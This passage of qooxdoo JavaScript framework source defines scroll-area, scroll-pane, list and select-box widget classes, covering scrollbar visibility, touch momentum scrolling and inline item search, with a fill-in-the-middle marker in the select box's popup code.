this.getSpacing(); var separator = this.getSeparator(); if (separator) { var gaps = util.computeHorizontalSeparatorGaps(children, spacing, separator); } else { var gaps = util.computeHorizontalGaps(children, spacing, true); } // Return hint return { minWidth : minWidth + gaps, width : width + gaps, minHeight : minHeight, height : height }; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__widths = this.__flexs = this.__children = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's left-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * The ScrollArea provides a container widget with on demand scroll bars * if the content size exceeds the size of the container. * * @childControl pane {qx.ui.core.scroll.ScrollPane} pane which holds the content to scroll * @childControl scrollbar-x {qx.ui.core.scroll.ScrollBar?qx.ui.core.scroll.NativeScrollBar} horizontal scrollbar * @childControl scrollbar-y {qx.ui.core.scroll.ScrollBar?qx.ui.core.scroll.NativeScrollBar} vertical scrollbar * @childControl corner {qx.ui.core.Widget} corner where no scrollbar is shown */ qx.Class.define("qx.ui.core.scroll.AbstractScrollArea", { extend : qx.ui.core.Widget, include : [ qx.ui.core.scroll.MScrollBarFactory, qx.ui.core.scroll.MWheelHandling ], type : "abstract", /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ construct : function() { this.base(arguments); if (qx.core.Environment.get("os.scrollBarOverlayed")) { // use a plain canvas to overlay the scroll bars this._setLayout(new qx.ui.layout.Canvas()); } else { // Create 'fixed' grid layout var grid = new qx.ui.layout.Grid(); grid.setColumnFlex(0, 1); grid.setRowFlex(0, 1); this._setLayout(grid); } // Mousewheel listener to scroll vertically this.addListener("mousewheel", this._onMouseWheel, this); // touch support if (qx.core.Environment.get("event.touch")) { // touch move listener for touch scrolling this.addListener("touchmove", this._onTouchMove, this); // reset the delta on every touch session this.addListener("touchstart", function() { this.__old = {"x": 0, "y": 0}; }, this); this.__old = {}; this.__impulseTimerId = {}; } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "scrollarea" }, // overridden width : { refine : true, init : 100 }, // overridden height : { refine : true, init : 200 }, /** * The policy, when the horizontal scrollbar should be shown. * <ul> * <li><b>auto</b>: Show scrollbar on demand</li> * <li><b>on</b>: Always show the scrollbar</li> * <li><b>off</b>: Never show the scrollbar</li> * </ul> */ scrollbarX : { check : ["auto", "on", "off"], init : "auto", themeable : true, apply : "_computeScrollbars" }, /** * The policy, when the horizontal scrollbar should be shown. * <ul> * <li><b>auto</b>: Show scrollbar on demand</li> * <li><b>on</b>: Always show the scrollbar</li> * <li><b>off</b>: Never show the scrollbar</li> * </ul> */ scrollbarY : { check : ["auto", "on", "off"], init : "auto", themeable : true, apply : "_computeScrollbars" }, /** * Group property, to set the overflow of both scroll bars. */ scrollbar : { group : [ "scrollbarX", "scrollbarY" ] } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __old : null, __impulseTimerId : null, /* --------------------------------------------------------------------------- CHILD CONTROL SUPPORT --------------------------------------------------------------------------- */ // overridden _createChildControlImpl : function(id, hash) { var control; switch(id) { case "pane": control = new qx.ui.core.scroll.ScrollPane(); control.addListener("update", this._computeScrollbars, this); control.addListener("scrollX", this._onScrollPaneX, this); control.addListener("scrollY", this._onScrollPaneY, this); if (qx.core.Environment.get("os.scrollBarOverlayed")) { this._add(control, {edge: 0}); } else { this._add(control, {row: 0, column: 0}); } break; case "scrollbar-x": control = this._createScrollBar("horizontal"); control.setMinWidth(0); control.exclude(); control.addListener("scroll", this._onScrollBarX, this); control.addListener("changeVisibility", this._onChangeScrollbarXVisibility, this); if (qx.core.Environment.get("os.scrollBarOverlayed")) { control.setMinHeight(qx.bom.element.Overflow.DEFAULT_SCROLLBAR_WIDTH); this._add(control, {bottom: 0, right: 0, left: 0}); } else { this._add(control, {row: 1, column: 0}); } break; case "scrollbar-y": control = this._createScrollBar("vertical"); control.setMinHeight(0); control.exclude(); control.addListener("scroll", this._onScrollBarY, this); control.addListener("changeVisibility", this._onChangeScrollbarYVisibility, this); if (qx.core.Environment.get("os.scrollBarOverlayed")) { control.setMinWidth(qx.bom.element.Overflow.DEFAULT_SCROLLBAR_WIDTH); this._add(control, {right: 0, bottom: 0, top: 0}); } else { this._add(control, {row: 0, column: 1}); } break; case "corner": control = new qx.ui.core.Widget(); control.setWidth(0); control.setHeight(0); control.exclude(); if (!qx.core.Environment.get("os.scrollBarOverlayed")) { // only add for non overlayed scroll bars this._add(control, {row: 1, column: 1}); } break; } return control || this.base(arguments, id); }, /* --------------------------------------------------------------------------- PANE SIZE --------------------------------------------------------------------------- */ /** * Returns the boundaries of the pane. * * @return {Map} The pane boundaries. */ getPaneSize : function() { return this.getChildControl("pane").getInnerSize(); }, /* --------------------------------------------------------------------------- ITEM LOCATION SUPPORT --------------------------------------------------------------------------- */ /** * Returns the top offset of the given item in relation to the * inner height of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Top offset */ getItemTop : function(item) { return this.getChildControl("pane").getItemTop(item); }, /** * Returns the top offset of the end of the given item in relation to the * inner height of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Top offset */ getItemBottom : function(item) { return this.getChildControl("pane").getItemBottom(item); }, /** * Returns the left offset of the given item in relation to the * inner width of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Top offset */ getItemLeft : function(item) { return this.getChildControl("pane").getItemLeft(item); }, /** * Returns the left offset of the end of the given item in relation to the * inner width of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Right offset */ getItemRight : function(item) { return this.getChildControl("pane").getItemRight(item); }, /* --------------------------------------------------------------------------- SCROLL SUPPORT --------------------------------------------------------------------------- */ /** * Scrolls the element's content to the given left coordinate * * @param value {Integer} The vertical position to scroll to. */ scrollToX : function(value) { // First flush queue before scroll qx.ui.core.queue.Manager.flush(); this.getChildControl("scrollbar-x").scrollTo(value); }, /** * Scrolls the element's content by the given left offset * * @param value {Integer} The vertical position to scroll to. */ scrollByX : function(value) { // First flush queue before scroll qx.ui.core.queue.Manager.flush(); this.getChildControl("scrollbar-x").scrollBy(value); }, /** * Returns the scroll left position of the content * * @return {Integer} Horizontal scroll position */ getScrollX : function() { var scrollbar = this.getChildControl("scrollbar-x", true); return scrollbar ? scrollbar.getPosition() : 0; }, /** * Scrolls the element's content to the given top coordinate * * @param value {Integer} The horizontal position to scroll to. */ scrollToY : function(value) { // First flush queue before scroll qx.ui.core.queue.Manager.flush(); this.getChildControl("scrollbar-y").scrollTo(value); }, /** * Scrolls the element's content by the given top offset * * @param value {Integer} The horizontal position to scroll to. * @return {void} */ scrollByY : function(value) { // First flush queue before scroll qx.ui.core.queue.Manager.flush(); this.getChildControl("scrollbar-y").scrollBy(value); }, /** * Returns the scroll top position of the content * * @return {Integer} Vertical scroll position */ getScrollY : function() { var scrollbar = this.getChildControl("scrollbar-y", true); return scrollbar ? scrollbar.getPosition() : 0; }, /* --------------------------------------------------------------------------- EVENT LISTENERS --------------------------------------------------------------------------- */ /** * Event handler for the scroll event of the horizontal scrollbar * * @param e {qx.event.type.Data} The scroll event object * @return {void} */ _onScrollBarX : function(e) { this.getChildControl("pane").scrollToX(e.getData()); }, /** * Event handler for the scroll event of the vertical scrollbar * * @param e {qx.event.type.Data} The scroll event object * @return {void} */ _onScrollBarY : function(e) { this.getChildControl("pane").scrollToY(e.getData()); }, /** * Event handler for the horizontal scroll event of the pane * * @param e {qx.event.type.Data} The scroll event object * @return {void} */ _onScrollPaneX : function(e) { this.scrollToX(e.getData()); }, /** * Event handler for the vertical scroll event of the pane * * @param e {qx.event.type.Data} The scroll event object * @return {void} */ _onScrollPaneY : function(e) { this.scrollToY(e.getData()); }, /** * Event handler for the touch move. * * @param e {qx.event.type.Touch} The touch event */ _onTouchMove : function(e) { this._onTouchMoveDirectional("x", e); this._onTouchMoveDirectional("y", e); // Stop bubbling and native event e.stop(); }, /** * Touch move handler for one direction. * * @param dir {String} Either 'x' or 'y' * @param e {qx.event.type.Touch} The touch event */ _onTouchMoveDirectional : function(dir, e) { var docDir = (dir == "x" ? "Left" : "Top"); // current scrollbar var scrollbar = this.getChildControl("scrollbar-" + dir, true); var show = this._isChildControlVisible("scrollbar-" + dir); if (show && scrollbar) { // get the delta for the current direction if(this.__old[dir] == 0) { var delta = 0; } else { var delta = -(e["getDocument" + docDir]() - this.__old[dir]); }; // save the old value for the current direction this.__old[dir] = e["getDocument" + docDir](); scrollbar.scrollBy(delta); // if we have an old timeout for the current direction, clear it if (this.__impulseTimerId[dir]) { clearTimeout(this.__impulseTimerId[dir]); this.__impulseTimerId[dir] = null; } // set up a new timer for the current direction this.__impulseTimerId[dir] = setTimeout(qx.lang.Function.bind(function(delta) { this.__handleScrollImpulse(delta, dir); }, this, delta), 100); } }, /** * Helper for momentum scrolling. * @param delta {Number} The delta from the last scrolling. * @param dir {String} Direction of the scrollbar ('x' or 'y'). */ __handleScrollImpulse : function(delta, dir) { // delete the old timer id this.__impulseTimerId[dir] = null; // do nothing if the scrollbar is not visible or we don't need to scroll var show = this._isChildControlVisible("scrollbar-" + dir); if (delta == 0 || !show) { return; } // linear momentum calculation if (delta > 0) { delta = Math.max(0, delta - 3); } else { delta = Math.min(0, delta + 3); } // set up a new timer with the new delta this.__impulseTimerId[dir] = setTimeout(qx.lang.Function.bind(function(delta, dir) { this.__handleScrollImpulse(delta, dir); }, this, delta, dir), 20); // scroll the desired new delta var scrollbar = this.getChildControl("scrollbar-" + dir, true); scrollbar.scrollBy(delta); }, /** * Event handler for visibility changes of horizontal scrollbar. * * @param e {qx.event.type.Event} Property change event * @return {void} */ _onChangeScrollbarXVisibility : function(e) { var showX = this._isChildControlVisible("scrollbar-x"); var showY = this._isChildControlVisible("scrollbar-y"); if (!showX) { this.scrollToX(0); } showX && showY ? this._showChildControl("corner") : this._excludeChildControl("corner"); }, /** * Event handler for visibility changes of horizontal scrollbar. * * @param e {qx.event.type.Event} Property change event * @return {void} */ _onChangeScrollbarYVisibility : function(e) { var showX = this._isChildControlVisible("scrollbar-x"); var showY = this._isChildControlVisible("scrollbar-y"); if (!showY) { this.scrollToY(0); } showX && showY ? this._showChildControl("corner") : this._excludeChildControl("corner"); }, /* --------------------------------------------------------------------------- HELPER METHODS --------------------------------------------------------------------------- */ /** * Computes the visibility state for scrollbars. * * @return {void} */ _computeScrollbars : function() { var pane = this.getChildControl("pane"); var content = pane.getChildren()[0]; if (!content) { this._excludeChildControl("scrollbar-x"); this._excludeChildControl("scrollbar-y"); return; } var innerSize = this.getInnerSize(); var paneSize = pane.getInnerSize(); var scrollSize = pane.getScrollSize(); // if the widget has not yet been rendered, return and try again in the // resize event if (!paneSize || !scrollSize) { return; } var scrollbarX = this.getScrollbarX(); var scrollbarY = this.getScrollbarY(); if (scrollbarX === "auto" && scrollbarY === "auto") { // Check if the container is big enough to show // the full content. var showX = scrollSize.width > innerSize.width; var showY = scrollSize.height > innerSize.height; // Dependency check // We need a special intelligence here when only one // of the autosized axis requires a scrollbar // This scrollbar may then influence the need // for the other one as well. if ((showX || showY) && !(showX && showY)) { if (showX) { showY = scrollSize.height > paneSize.height; } else if (showY) { showX = scrollSize.width > paneSize.width; } } } else { var showX = scrollbarX === "on"; var showY = scrollbarY === "on"; // Check auto values afterwards with already // corrected client dimensions if (scrollSize.width > (showX ? paneSize.width : innerSize.width) && scrollbarX === "auto") { showX = true; } if (scrollSize.height > (showX ? paneSize.height : innerSize.height) && scrollbarY === "auto") { showY = true; } } // Update scrollbars if (showX) { var barX = this.getChildControl("scrollbar-x"); barX.show(); barX.setMaximum(Math.max(0, scrollSize.width - paneSize.width)); barX.setKnobFactor((scrollSize.width === 0) ? 0 : paneSize.width / scrollSize.width); } else { this._excludeChildControl("scrollbar-x"); } if (showY) { var barY = this.getChildControl("scrollbar-y"); barY.show(); barY.setMaximum(Math.max(0, scrollSize.height - paneSize.height)); barY.setKnobFactor((scrollSize.height === 0) ? 0 : paneSize.height / scrollSize.height); } else { this._excludeChildControl("scrollbar-y"); } } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2011 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This class is responsible for checking the scrolling behavior of the client. * * This class is used by {@link qx.core.Environment} and should not be used * directly. Please check its class comment for details how to use it. * * @internal */ qx.Bootstrap.define("qx.bom.client.Scroll", { statics : { /** * Check if the scrollbars should be positioned on top of the content. This * is true of OSX Lion when the scrollbars dissapear automatically. * * @internal * * @return {Boolean} <code>true</code> if the scrollbars should be * positioned on top of the content. */ scrollBarOverlayed : function() { var scrollBarWidth = qx.bom.element.Overflow.getScrollbarWidth(); var osx = qx.bom.client.OperatingSystem.getName() === "osx"; var nativeScrollBars = qx.core.Environment.get("qx.nativeScrollBars"); return scrollBarWidth == 0 && osx && nativeScrollBars; } }, defer : function(statics) { qx.core.Environment.add("os.scrollBarOverlayed", statics.scrollBarOverlayed); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * This class represents a scroll able pane. This means that this widget * may contain content which is bigger than the available (inner) * dimensions of this widget. The widget also offer methods to control * the scrolling position. It can only have exactly one child. */ qx.Class.define("qx.ui.core.scroll.ScrollPane", { extend : qx.ui.core.Widget, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ construct : function() { this.base(arguments); this.set({ minWidth: 0, minHeight: 0 }); // Automatically configure a "fixed" grow layout. this._setLayout(new qx.ui.layout.Grow()); // Add resize listener to "translate" event this.addListener("resize", this._onUpdate); var contentEl = this.getContentElement(); // Synchronizes the DOM scroll position with the properties contentEl.addListener("scroll", this._onScroll, this); // Fixed some browser quirks e.g. correcting scroll position // to the previous value on re-display of a pane contentEl.addListener("appear", this._onAppear, this); }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired on resize of both the container or the content. */ update : "qx.event.type.Event" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** The horizontal scroll position */ scrollX : { check : "qx.lang.Type.isNumber(value)&&value>=0&&value<=this.getScrollMaxX()", apply : "_applyScrollX", event : "scrollX", init : 0 }, /** The vertical scroll position */ scrollY : { check : "qx.lang.Type.isNumber(value)&&value>=0&&value<=this.getScrollMaxY()", apply : "_applyScrollY", event : "scrollY", init : 0 } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- CONTENT MANAGEMENT --------------------------------------------------------------------------- */ /** * Configures the content of the scroll pane. Replaces any existing child * with the newly given one. * * @param widget {qx.ui.core.Widget?null} The content widget of the pane * @return {void} */ add : function(widget) { var old = this._getChildren()[0]; if (old) { this._remove(old); old.removeListener("resize", this._onUpdate, this); } if (widget) { this._add(widget); widget.addListener("resize", this._onUpdate, this); } }, /** * Removes the given widget from the content. The pane is empty * afterwards as only one child is supported by the pane. * * @param widget {qx.ui.core.Widget?null} The content widget of the pane * @return {void} */ remove : function(widget) { if (widget) { this._remove(widget); widget.removeListener("resize", this._onUpdate, this); } }, /** * Returns an array containing the current content. * * @return {Object[]} The content array */ getChildren : function() { return this._getChildren(); }, /* --------------------------------------------------------------------------- EVENT LISTENER --------------------------------------------------------------------------- */ /** * Event listener for resize event of content and container * * @param e {Event} Resize event object */ _onUpdate : function(e) { this.fireEvent("update"); }, /** * Event listener for scroll event of content * * @param e {qx.event.type.Event} Scroll event object */ _onScroll : function(e) { var contentEl = this.getContentElement(); this.setScrollX(contentEl.getScrollX()); this.setScrollY(contentEl.getScrollY()); }, /** * Event listener for appear event of content * * @param e {qx.event.type.Event} Appear event object */ _onAppear : function(e) { var contentEl = this.getContentElement(); var internalX = this.getScrollX(); var domX = contentEl.getScrollX(); if (internalX != domX) { contentEl.scrollToX(internalX); } var internalY = this.getScrollY(); var domY = contentEl.getScrollY(); if (internalY != domY) { contentEl.scrollToY(internalY); } }, /* --------------------------------------------------------------------------- ITEM LOCATION SUPPORT --------------------------------------------------------------------------- */ /** * Returns the top offset of the given item in relation to the * inner height of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Top offset */ getItemTop : function(item) { var top = 0; do { top += item.getBounds().top; item = item.getLayoutParent(); } while (item && item !== this); return top; }, /** * Returns the top offset of the end of the given item in relation to the * inner height of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Top offset */ getItemBottom : function(item) { return this.getItemTop(item) + item.getBounds().height; }, /** * Returns the left offset of the given item in relation to the * inner width of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Top offset */ getItemLeft : function(item) { var left = 0; var parent; do { left += item.getBounds().left; parent = item.getLayoutParent(); if (parent) { left += parent.getInsets().left; } item = parent; } while (item && item !== this); return left; }, /** * Returns the left offset of the end of the given item in relation to the * inner width of this widget. * * @param item {qx.ui.core.Widget} Item to query * @return {Integer} Right offset */ getItemRight : function(item) { return this.getItemLeft(item) + item.getBounds().width; }, /* --------------------------------------------------------------------------- DIMENSIONS --------------------------------------------------------------------------- */ /** * The size (identical with the preferred size) of the content. * * @return {Map} Size of the content (keys: <code>width</code> and <code>height</code>) */ getScrollSize : function() { return this.getChildren()[0].getBounds(); }, /* --------------------------------------------------------------------------- SCROLL SUPPORT --------------------------------------------------------------------------- */ /** * The maximum horizontal scroll position. * * @return {Integer} Maximum horizontal scroll position. */ getScrollMaxX : function() { var paneSize = this.getInnerSize(); var scrollSize = this.getScrollSize(); if (paneSize && scrollSize) { return Math.max(0, scrollSize.width - paneSize.width); } return 0; }, /** * The maximum vertical scroll position. * * @return {Integer} Maximum vertical scroll position. */ getScrollMaxY : function() { var paneSize = this.getInnerSize(); var scrollSize = this.getScrollSize(); if (paneSize && scrollSize) { return Math.max(0, scrollSize.height - paneSize.height); } return 0; }, /** * Scrolls the element's content to the given left coordinate * * @param value {Integer} The vertical position to scroll to. * @return {void} */ scrollToX : function(value) { var max = this.getScrollMaxX(); if (value < 0) { value = 0; } else if (value > max) { value = max; } this.setScrollX(value); }, /** * Scrolls the element's content to the given top coordinate * * @param value {Integer} The horizontal position to scroll to. * @return {void} */ scrollToY : function(value) { var max = this.getScrollMaxY(); if (value < 0) { value = 0; } else if (value > max) { value = max; } this.setScrollY(value); }, /** * Scrolls the element's content horizontally by the given amount. * * @param x {Integer?0} Amount to scroll * @return {void} */ scrollByX : function(x) { this.scrollToX(this.getScrollX() + x); }, /** * Scrolls the element's content vertically by the given amount. * * @param y {Integer?0} Amount to scroll * @return {void} */ scrollByY : function(y) { this.scrollToY(this.getScrollY() + y); }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyScrollX : function(value) { this.getContentElement().scrollToX(value); }, // property apply _applyScrollY : function(value) { this.getContentElement().scrollToY(value); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Martin Wittemann (martinwittemann) * Christian Hagendorn (chris_schmidt) ************************************************************************ */ /** * A list of items. Displays an automatically scrolling list for all * added {@link qx.ui.form.ListItem} instances. Supports various * selection options: single, multi, ... */ qx.Class.define("qx.ui.form.List", { extend : qx.ui.core.scroll.AbstractScrollArea, implement : [ qx.ui.core.IMultiSelection, qx.ui.form.IForm, qx.ui.form.IModelSelection ], include : [ qx.ui.core.MRemoteChildrenHandling, qx.ui.core.MMultiSelectionHandling, qx.ui.form.MForm, qx.ui.form.MModelSelection ], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param horizontal {Boolean?false} Whether the list should be horizontal. */ construct : function(horizontal) { this.base(arguments); // Create content this.__content = this._createListItemContainer(); // Used to fire item add/remove events this.__content.addListener("addChildWidget", this._onAddChild, this); this.__content.addListener("removeChildWidget", this._onRemoveChild, this); // Add to scrollpane this.getChildControl("pane").add(this.__content); // Apply orientation if (horizontal) { this.setOrientation("horizontal"); } else { this.initOrientation(); } // Add keypress listener this.addListener("keypress", this._onKeyPress); this.addListener("keyinput", this._onKeyInput); // initialize the search string this.__pressedString = ""; }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** * This event is fired after a list item was added to the list. The * {@link qx.event.type.Data#getData} method of the event returns the * added item. */ addItem : "qx.event.type.Data", /** * This event is fired after a list item has been removed from the list. * The {@link qx.event.type.Data#getData} method of the event returns the * removed item. */ removeItem : "qx.event.type.Data" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "list" }, // overridden focusable : { refine : true, init : true }, /** * Whether the list should be rendered horizontal or vertical. */ orientation : { check : ["horizontal", "vertical"], init : "vertical", apply : "_applyOrientation" }, /** Spacing between the items */ spacing : { check : "Integer", init : 0, apply : "_applySpacing", themeable : true }, /** Controls whether the inline-find feature is activated or not */ enableInlineFind : { check : "Boolean", init : true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __pressedString : null, __lastKeyPress : null, /** {qx.ui.core.Widget} The children container */ __content : null, /** {Class} Pointer to the selection manager to use */ SELECTION_MANAGER : qx.ui.core.selection.ScrollArea, /* --------------------------------------------------------------------------- WIDGET API --------------------------------------------------------------------------- */ // overridden getChildrenContainer : function() { return this.__content; }, /** * Handle child widget adds on the content pane * * @param e {qx.event.type.Data} the event instance */ _onAddChild : function(e) { this.fireDataEvent("addItem", e.getData()); }, /** * Handle child widget removes on the content pane * * @param e {qx.event.type.Data} the event instance */ _onRemoveChild : function(e) { this.fireDataEvent("removeItem", e.getData()); }, /* --------------------------------------------------------------------------- PUBLIC API --------------------------------------------------------------------------- */ /** * Used to route external <code>keypress</code> events to the list * handling (in fact the manager of the list) * * @param e {qx.event.type.KeySequence} KeyPress event */ handleKeyPress : function(e) { if (!this._onKeyPress(e)) { this._getManager().handleKeyPress(e); } }, /* --------------------------------------------------------------------------- PROTECTED API --------------------------------------------------------------------------- */ /** * This container holds the list item widgets. * * @return {qx.ui.container.Composite} Container for the list item widgets */ _createListItemContainer : function() { return new qx.ui.container.Composite; }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyOrientation : function(value, old) { // Create new layout var horizontal = value === "horizontal"; var layout = horizontal ? new qx.ui.layout.HBox() : new qx.ui.layout.VBox(); // Configure content var content = this.__content; content.setLayout(layout); content.setAllowGrowX(!horizontal); content.setAllowGrowY(horizontal); // Configure spacing this._applySpacing(this.getSpacing()); }, // property apply _applySpacing : function(value, old) { this.__content.getLayout().setSpacing(value); }, /* --------------------------------------------------------------------------- EVENT HANDLER --------------------------------------------------------------------------- */ /** * Event listener for <code>keypress</code> events. * * @param e {qx.event.type.KeySequence} KeyPress event * @return {Boolean} Whether the event was processed */ _onKeyPress : function(e) { // Execute action on press <ENTER> if (e.getKeyIdentifier() == "Enter" && !e.isAltPressed()) { var items = this.getSelection(); for (var i=0; i<items.length; i++) { items[i].fireEvent("action"); } return true; } return false; }, /* --------------------------------------------------------------------------- FIND SUPPORT --------------------------------------------------------------------------- */ /** * Handles the inline find - if enabled * * @param e {qx.event.type.KeyInput} key input event */ _onKeyInput : function(e) { // do nothing if the find is disabled if (!this.getEnableInlineFind()) { return; } // Only useful in single or one selection mode var mode = this.getSelectionMode(); if (!(mode === "single" || mode === "one")) { return; } // Reset string after a second of non pressed key if (((new Date).valueOf() - this.__lastKeyPress) > 1000) { this.__pressedString = ""; } // Combine keys the user pressed to a string this.__pressedString += e.getChar(); // Find matching item var matchedItem = this.findItemByLabelFuzzy(this.__pressedString); // if an item was found, select it if (matchedItem) { this.setSelection([matchedItem]); } // Store timestamp this.__lastKeyPress = (new Date).valueOf(); }, /** * Takes the given string and tries to find a ListItem * which starts with this string. The search is not case sensitive and the * first found ListItem will be returned. If there could not be found any * qualifying list item, null will be returned. * * @param search {String} The text with which the label of the ListItem should start with * @return {qx.ui.form.ListItem} The found ListItem or null */ findItemByLabelFuzzy : function(search) { // lower case search text search = search.toLowerCase(); // get all items of the list var items = this.getChildren(); // go threw all items for (var i=0, l=items.length; i<l; i++) { // get the label of the current item var currentLabel = items[i].getLabel(); // if the label fits with the search text (ignore case, begins with) if (currentLabel && currentLabel.toLowerCase().indexOf(search) == 0) { // just return the first found element return items[i]; } } // if no element was found, return null return null; }, /** * Find an item by its {@link qx.ui.basic.Atom#getLabel}. * * @param search {String} A label or any item * @param ignoreCase {Boolean?true} description * @return {qx.ui.form.ListItem} The found ListItem or null */ findItem : function(search, ignoreCase) { // lowercase search if (ignoreCase !== false) { search = search.toLowerCase(); }; // get all items of the list var items = this.getChildren(); var item; // go through all items for (var i=0, l=items.length; i<l; i++) { item = items[i]; // get the content of the label; text content when rich var label; if (item.isRich()) { var control = item.getChildControl("label", true); if (control) { var labelNode = control.getContentElement().getDomElement(); if (labelNode) { label = qx.bom.element.Attribute.get(labelNode, "text"); } } } else { label = item.getLabel(); } if (label != null) { if (label.translate) { label = label.translate(); } if (ignoreCase !== false) { label = label.toLowerCase(); } if (label.toString() == search.toString()) { return item; } } } return null; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this._disposeObjects("__content"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) * Sebastian Werner (wpbasti) * Jonathan Weiß (jonathan_rass) ************************************************************************ */ /** * Basic class for a selectbox like lists. Basically supports a popup * with a list and the whole children management. * * @childControl list {qx.ui.form.List} list component of the selectbox * @childControl popup {qx.ui.popup.Popup} popup which shows the list * */ qx.Class.define("qx.ui.form.AbstractSelectBox", { extend : qx.ui.core.Widget, include : [ qx.ui.core.MRemoteChildrenHandling, qx.ui.form.MForm ], implement : [ qx.ui.form.IForm ], type : "abstract", /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ construct : function() { this.base(arguments); // set the layout var layout = new qx.ui.layout.HBox(); this._setLayout(layout); layout.setAlignY("middle"); // Register listeners this.addListener("keypress", this._onKeyPress); this.addListener("blur", this._onBlur, this); // register mouse wheel listener var root = qx.core.Init.getApplication().getRoot(); root.addListener("mousewheel", this._onMousewheel, this, true); // register the resize listener this.addListener("resize", this._onResize, this); }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden focusable : { refine : true, init : true }, // overridden width : { refine : true, init : 120 }, /** * The maximum height of the list popup. Setting this value to * <code>null</code> will set cause the list to be auto-sized. */ maxListHeight : { check : "Number", apply : "_applyMaxListHeight", nullable: true, init : 200 }, /** * Formatter which format the value from the selected <code>ListItem</code>. * Uses the default formatter {@link #_defaultFormat}. */ format : { check : "Function", init : function(item) { return this._defaultFormat(item); }, nullable : true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { // overridden _createChildControlImpl : function(id, hash) { var control; switch(id) { case "list": control = new qx.ui.form.List().set({ focusable: false, keepFocus: true, height: null, width: null, maxHeight: this.getMaxListHeight(), selectionMode: "one", quickSelection: true }); control.addListener("changeSelection", this._onListChangeSelection, this); control.addListener("mousedown", this._onListMouseDown, this); break; case "popup":<|fim▁hole|> control.setKeepActive(true); control.addListener("mouseup", this.close, this); control.add(this.getChildControl("list")); control.addListener("changeVisibility", this._onPopupChangeVisibility, this); break; } return control || this.base(arguments, id); }, /* --------------------------------------------------------------------------- APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyMaxListHeight : function(value, old) { this.getChildControl("list").setMaxHeight(value); }, /* --------------------------------------------------------------------------- PUBLIC METHODS --------------------------------------------------------------------------- */ /** * Returns the list widget. * @return {qx.ui.form.List} the list */ getChildrenContainer : function() { return this.getChildControl("list"); }, /* --------------------------------------------------------------------------- LIST STUFF --------------------------------------------------------------------------- */ /** * Shows the list popup. */ open : function() { var popup = this.getChildControl("popup"); popup.placeToWidget(this, true); popup.show(); }, /** * Hides the list popup. */ close : function() { this.getChildControl("popup").hide(); }, /** * Toggles the popup's visibility. */ toggle : function() { var isListOpen = this.getChildControl("popup").isVisible(); if (isListOpen) { this.close(); } else { this.open(); } }, /* --------------------------------------------------------------------------- FORMAT HANDLING --------------------------------------------------------------------------- */ /** * Return the formatted label text from the <code>ListItem</code>. * The formatter removes all HTML tags and converts all HTML entities * to string characters when the rich property is <code>true</code>. * * @param item {ListItem} The list item to format. * @return {String} The formatted text. */ _defaultFormat : function(item) { var valueLabel = item ? item.getLabel() : ""; var rich = item ? item.getRich() : false; if (rich) { valueLabel = valueLabel.replace(/<[^>]+?>/g, ""); valueLabel = qx.bom.String.unescape(valueLabel); } return valueLabel; }, /* --------------------------------------------------------------------------- EVENT LISTENERS --------------------------------------------------------------------------- */ /** * 